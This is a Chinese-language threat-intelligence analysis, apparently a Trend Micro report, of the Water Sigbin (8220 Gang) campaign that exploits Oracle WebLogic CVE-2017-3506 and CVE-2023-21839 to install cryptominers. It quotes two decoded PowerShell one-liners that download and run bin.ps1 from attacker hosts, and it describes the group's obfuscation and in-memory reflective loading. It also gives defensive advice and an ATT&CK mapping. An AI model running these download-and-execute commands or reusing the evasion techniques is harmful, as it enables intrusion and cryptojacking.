APT & 針對式目標攻擊
解開 Water Sigbin 最新的加密編碼技巧
Water Sigbin 駭客集團 (亦稱為「8220 Gang」) 藉由 Oracle WebLogic 的漏洞,使用 PowerShell 腳本在系統內植入虛擬加密貨幣挖礦程式。此外,駭客也運用了新的技巧來隱藏其活動,使其攻擊變得更難防範。
摘要
- Water Sigbin 駭客集團藉由 CVE-2017-3506 與 CVE-2023-21839 兩個漏洞,使用 PowerShell 腳本在系統內植入虛擬加密貨幣挖礦程式。
- 該集團採用了加密編碼技巧 (例如十六進位編碼的網址),並在 443 連接埠上使用 HTTP 通訊協定,暗中派送惡意程式碼。
- PowerShell 腳本與其下載的批次檔案運用了複雜的編碼,並使用環境變數將惡意程式碼隱藏在看似無害的腳本元素中。
- 該集團在 PowerShell 腳本中使用 .NET 的反射 (Reflection) 技巧來執行無檔案元件,讓惡意程式碼只存在於記憶體內,藉此避開檔案偵測機制。
- 駭客攻擊手法、技巧與程序 (TTP) 的持續演進,突顯出企業必須隨時保持警戒,並採取各種網路資安最佳實務原則,例如:定期修補、員工訓練,以及事件回應計畫。
Water Sigbin (亦稱為「8220 Gang」) 是一個中國的駭客集團,至少從 2017 年便活躍至今。該集團專門在系統內植入虛擬加密貨幣挖礦程式,主要針對雲端環境以及 Linux 伺服器。該集團已知會在其廣泛的 TTP 當中使用漏洞攻擊程序。
我們在先前對該集團犯罪手法的討論當中已檢視過該集團如何不斷翻新其使用的複雜方法。但資安威脅很少會停滯不前,駭客隨時都在尋找新的方法來騙過資安人員。最近,我們觀察到 Water Sigbin 正在使用新的技巧和方法來隱藏其活動,使其攻擊更難防禦。
攻擊 CVE-2017-3506 與 CVE-2023-21839 漏洞
我們發現有駭客藉由 Oracle WebLogic 伺服器的 CVE-2017-3506 漏洞 (可讓駭客從遠端執行作業系統指令) 以及 CVE-2023-21839 漏洞 (不安全的反序列化),使用一個名為「bin.ps1」的 PowerShell 腳本在受害主機上植入虛擬加密貨幣挖礦程式。在仔細研究過駭客的 TTP 之後,我們判斷這起攻擊應該是 Water Sigbin 所為,顯示該集團一直在持續精進其部署腳本與工具。
我們發現了下面這段攻擊 CVE-2017-3506 漏洞的指令:
攻擊指令中的 base64 編碼字串解開之後如下:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://0xb9ac8092:443/bin.ps1')"
另外,還看到攻擊 CVE-2023-21839 漏洞的指令,如圖 2 所示。
指令中的 base64 編碼字串解開後如下:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1')"
我們在 Linux 和 Windows 電腦上都發現到這起攻擊,駭客在 Linux 上使用的是指令列腳本,在 Windows 上使用的則是 PowerShell 腳本。本文使用 Windows 上的攻擊案例來示範 Water Sigbin 一些值得注意的加密編碼技巧。
在漏洞攻擊一開始的攻擊指令中,駭客使用了以下技巧來躲避偵測:
- 十六進位編碼的網址。
駭客用來下載和植入 PowerShell 腳本的網址如下圖所示:
該網址解碼之後的實際位址為:http://187.172.128.146:443/bin[.]ps1
- 在連接埠 443 上使用 HTTP 通訊協定。
如同前面的網址所看到的,Water Sigbin 在連接埠 443 上面使用 HTTP 協定來進行祕密通訊。
指令列腳本檔案「bin.ps1」包含了兩部分:
- 一個很長的 base64 編碼字串,內含二進位程式碼以及用來執行該程式碼的指令。
- 一個用來解開 base64 字串的函式,解開後的內容會寫入一個名為「microsoft_office365.bat」的檔案 (位於暫存目錄底下),該函式還會暗中執行該檔案。
在這段由 bin.ps1 中的 Convert-Base64ToFileAndExecuteSilently 函式所解開的 base64 編碼內容當中就能看到腳本的核心元素。解開後的內容會寫入暫存目錄中的一個檔案,檔名為「microsoft_office365.bat」。
分析 microsoft_office365.bat 檔案
這個 microsoft_office365.bat 腳本使用了環境變數將原本的腳本程式碼加密編碼,讓它們看起來既複雜又混亂。腳本一開始的指令如下:
我們在檢視這段腳本時,發現它似乎是在設定一些看起來像不知所云或亂碼的資料。然而,經過徹底分析之後,我們發現駭客似乎使用了一種很有效的方法來隱藏其惡意程式碼。
為了取得實際的程式碼,我們必須解開第一個「if」條件敘述:
接著,我們必須將程式碼中的每個「RxEGj」這串字替換成空字串(“”),替換完之後,開頭部分的腳本看起來像這樣:
第一行指令:「cmd /c "set __=&rem” 」會啟動一個新的指令列介面,然後將「__」這個環境變數設為一個空字串,接著執行 rem 指令 (在批次檔中記錄一段說明),基本上沒做什麼。整個來看,這段腳本似乎是用來啟動一個新的指令列視窗 (處於最小化狀態),然後就結束當前的腳本。
接下來是兩行很長的 base64 編碼內容,包含了實際的二進位程式碼,必須先經過處理才能使用。駭客會使用 PowerShell 程式碼來加以處理。
接著是一段加密編碼的 PowerShell 程式碼,用來處理這段 base64 編碼的字串以供後續使用。
同樣地,如果我們將「RxEGj」部分替換成空字串(""),就會得到真正的 PowerShell 程式碼:
這段 PowerShell 指令會執行以下幾個動作:
- 解開 base64 字串 ([Convert]::FromBase64String)。
- 將這個很長的字串解密 ([System.Security.Cryptography.Aes])。
- 解壓縮解密後的字串 ([IO.Compression.CompressionMode])。
- 使用 DotNet 記憶體內反射 (Reflection) 技巧來執行惡意程式碼 ([System.Reflection.Assembly])。
駭客利用「System.Reflection.Assembly」來實現無檔案執行技巧,確保所有作業都完全在記憶體內完成。
結論
Water Sigbin 的活動運用了 CVE-2017-3506 與 CVE-2023-21839 兩個漏洞,突顯出今日駭客強大的適應力。他們採用了複雜的加密編碼技巧 (例如十六進位編碼的網址)、複雜的 PowerShell 與批次檔加密編碼、使用環境變數,同時還使用層層加密編碼將惡意程式碼隱藏在看似無害的腳本中,這些都在在顯示 Water Sigbin 是一個有能力隱藏其行動的駭客集團,因此資安團隊更難加已偵測及防範。
這些不斷演進的手法,意味著企業必須隨時保持警戒,主動採取反制措施來保護系統與網路以防範精密的威脅。
建議
為有效保護系統與網路,防範像 Water Sigbin 這樣的漏洞攻擊,企業可結合多種網路資安最佳實務原則與主動式防禦手段。以下是我們的一些建議:
- 修補更新管理:將定期更新與修補管理程序列為優先要務,以確保所有系統所執行的軟體都是最新版本。已知的漏洞應迅速套用安全修補,尤其是攻擊手法已經被公開的漏洞。
- 網路分割:利用網路分割來縮小攻擊面,將重要的網段與整體大網路隔開,如此可盡量降低漏洞攻擊的潛在衝擊。
- 定期的資安稽核:定期執行資安稽核與漏洞評估來發掘並矯正基礎架構中的潛在弱點,不讓駭客有機可乘。
- 資安意識訓練:教導員工認識駭客常用手法,讓他們有能力分辨並避免掉入社交工程攻擊的陷阱,因為這些很可能是漏洞攻擊的前兆。
- 事件回應計畫:開發、測試及維護一套事件回應計畫,好讓您的企業能夠快速、有效回應任何資安事件或漏洞攻擊。
- 威脅情報:訂閱威脅情報來源,隨時掌握有關威脅、駭客手法,以及進階持續性滲透攻擊 (APT) 集團的最新資訊。
趨勢科技解決方案
趨勢科技已透過下列防護規則來偵測前述漏洞相關的惡意活動,確保趨勢科技客戶的安全。
- 1011716 - Oracle Weblogic Server Insecure Deserialization Vulnerability (CVE-2023-21839)
- 1010550 - Oracle WebLogic WLS Security Component Remote Code Execution Vulnerability (CVE-2017-3506)
入侵指標 (IoC)
如需本文提到的入侵指標完整清單,請至此處。
MITRE ATT&CK
手法 | 技巧 | 技巧編號 |
---|---|---|
突破防線 | 經由漏洞攻擊企業對外的應用程式 | T1190 |
執行 | 指令與腳本解譯器:PowerShell | T1059.001 |
躲避防禦 | 解密/解碼檔案或資訊 | T1140 |
加密編碼的檔案或資訊:指令加密編碼 | T1027.010 | |
隱藏痕跡:隱藏視窗 | T1564.003 | |
處理程序注入:可攜式執行檔 (PE) 注入 | T1055.002 | |
反射式程式碼載入 | T1620 | |
幕後操縱 | 資料編碼:標準編碼 | T1132.001 |
應用程式層次的通訊協定:網站通訊協定 | T1071.001 | |
對內傳輸工具 | T1105 |